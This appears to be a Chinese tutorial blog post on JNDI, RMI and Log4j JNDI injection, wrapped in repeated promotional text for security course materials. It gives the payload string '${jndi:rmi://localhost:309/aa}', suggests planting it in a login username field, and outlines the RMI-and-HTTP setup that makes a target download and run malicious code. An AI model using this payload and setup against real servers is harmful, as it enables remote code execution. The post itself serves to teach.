JNDI以及利用JNDI进行漏洞攻击_jndi+rmi解决漏洞

一、网安学习成长路线图

网安所有方向的技术点做的整理，形成各个领域的知识点汇总，它的用处就在于，你可以按照上面的知识点去找对应的学习资源，保证自己学得较为全面。

二、网安视频合集

观看零基础学习视频，看视频学习是最快捷也是最有效果的方式，跟着视频中老师的思路，从基础到深入，还是很容易入门的。

三、精品网安学习书籍

当我学到一定基础，有自己的理解能力的时候，会去阅读一些前辈整理的书籍或者手写的笔记资料，这些笔记详细记载了他们对一些技术点的理解，这些理解是比较独到，可以学到不一样的思路。

四、网络安全源码合集+工具包

光学理论是没用的，要学会跟着一起敲，要动手实操，才能将自己的所学运用到实际当中去，这时候可以搞点实战案例来学习。
需要体系化学习资料的朋友，可以加我V获取：vip204888 （备注网络安全）

五、网络安全面试题

最后就是大家最关心的网络安全面试题板块

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化资料的朋友，可以点击这里获取

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！

目录服务

目录服务是命名服务的拓展。它与命名服务的区别在于它可以通过对象属性来检索对象，这么说可能不太好理解，我们举个例子：比如你要在某个学校里里找某个人，那么会通过：年级->班级->姓名这种方式来查找，年级、班级、姓名这些就是某个人的属性，这种层级关系就很像目录关系。

这个JNDI是j2ee时代的产物，现在都基于SpringBoot开发，很少用到这种技术，但由于是java本身自带的东西，导致在java环境中天生就带有这个东西。

JNDI的注入攻击

概念

**RMI服务器：**RMI（Remote Method Invocation）为远程方法调用，是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。 这两个虚拟机可以是运行在相同计算机上的不同进程中，也可以是运行在网络上的不同计算机中。

用于绑定名称和对象的关系。

JNDI Reference对象：该对象表示其本身在RMI服务器上不存在，需要进行远程下载。

**注入攻击：**通过log4j的指定版本,进行日志打印：log.info（“${jndi:rmi://localhost:309/aa}”）

这个时候，log4j会根据内容判断成需要使用jndi，接着去调用rmi指定的地址，这个rmi服务是我们自己定义的服务，并且aa对象是个Reference对象，这种对象代表请求的名称，在rmi服务器上不存在，需要去一个网站上下载该类，这个设置，可以启动rmi服务器的时候进行设置。并且下载的完成后会进行反序列化，并且这个过程是服务器上执行的，就导致了黑客可以注入任意的代码。

完成攻击有下面几个步骤：

1.想办法让被攻击的服务器上的程序，执行一次类似于这样的日志打印，

log.info（“${jndi:rmi://localhost:309/aa}”），基于常识，我们可以在登录的用户名里面输入这个字符串，因为后台有的时候会打印用户名。

2.本地启动一个rmi服务，该rmi服务需要绑定一个Reference对象，并且指定Reference对象的下载地址。

**3.启动一个http服务来提供下载服务，**在该类中，可以进行恶意代码，必须在static和无参构造方法里面。

**4.这个时候被攻击的服务器会下载该类，**并进行类的反序列号，恶意代码即可被执行，这个过程是在服务端执行的，所以危害巨大。

具体的代码模拟过程：可以参考这个博客

JNDI注入 Reference + RMI 打开了rmi.object.trustURLCodebase还是失败-CSDN博客

给大家的福利

零基础入门

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供：

因篇幅有限，仅展示部分资料

网络安全面试题

绿盟护网行动

还有大家最喜欢的黑客技术

网络安全源码合集+工具包

所有资料共282G，朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》，可以扫描下方二维码领取（如遇扫码问题，可以在评论区留言领取哦）~

需要体系化学习资料的朋友，可以加我V获取：vip204888 （备注网络安全）

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化资料的朋友，可以点击这里获取

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！